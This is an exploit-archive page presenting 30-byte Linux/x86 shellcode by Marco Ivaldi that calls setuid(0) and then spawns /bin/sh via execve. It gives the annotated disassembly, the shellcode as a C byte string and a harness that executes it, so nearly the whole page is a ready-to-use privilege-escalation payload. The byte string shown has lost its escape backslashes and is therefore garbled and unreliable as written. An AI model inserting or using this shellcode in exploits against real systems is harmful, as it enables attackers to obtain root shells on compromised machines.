[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : linux/x86 setuid(0) and /bin/sh execve() shellcode 30 bytes
# Published : 2006-07-20
# Author : Marco Ivaldi
# Previous Title : linux/x86 re-use of /bin/sh string in .rodata shellcode 16 bytes
# Next Title : linux/x86 setuid/portbind shellcode 96 bytes


/*
 * $Id: setuid-linux.c,v 1.4 2004/06/02 12:22:30 raptor Exp $
 *
 * setuid-linux.c - setuid/execve shellcode for Linux/x86
 * Copyright (c) 2004 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * Short fully-functional setuid(0) and /bin/sh execve() shellcode.
 */

/* 
 * setuid(0)
 *
 * 8049380:       6a 17                   push   $0x17
 * 8049382:       58                      pop    %eax
 * 8049383:       31 db                   xor    %ebx,%ebx
 * 8049385:       cd 80                   int    $0x80
 *
 * execve("/bin//sh", ["/bin//sh"], NULL)
 *
 * 8049387:       6a 0b                   push   $0xb
 * 8049389:       58                      pop    %eax
 * 804938a:       99                      cltd   
 * 804938b:       52                      push   %edx
 * 804938c:       68 2f 2f 73 68          push   $0x68732f2f
 * 8049391:       68 2f 62 69 6e          push   $0x6e69622f
 * 8049396:       89 e3                   mov    %esp,%ebx
 * 8049398:       52                      push   %edx
 * 8049399:       53                      push   %ebx
 * 804939a:       89 e1                   mov    %esp,%ecx
 * 804939c:       cd 80                   int    $0x80
 */

char sc[] = /* 7 + 23 = 30 bytes */
"x6ax17x58x31xdbxcdx80"
"x6ax0bx58x99x52x68//shx68/binx89xe3x52x53x89xe1xcdx80";

main()
{
	int (*f)() = (int (*)())sc; f();
}

// www.Syue.com [2006-07-20]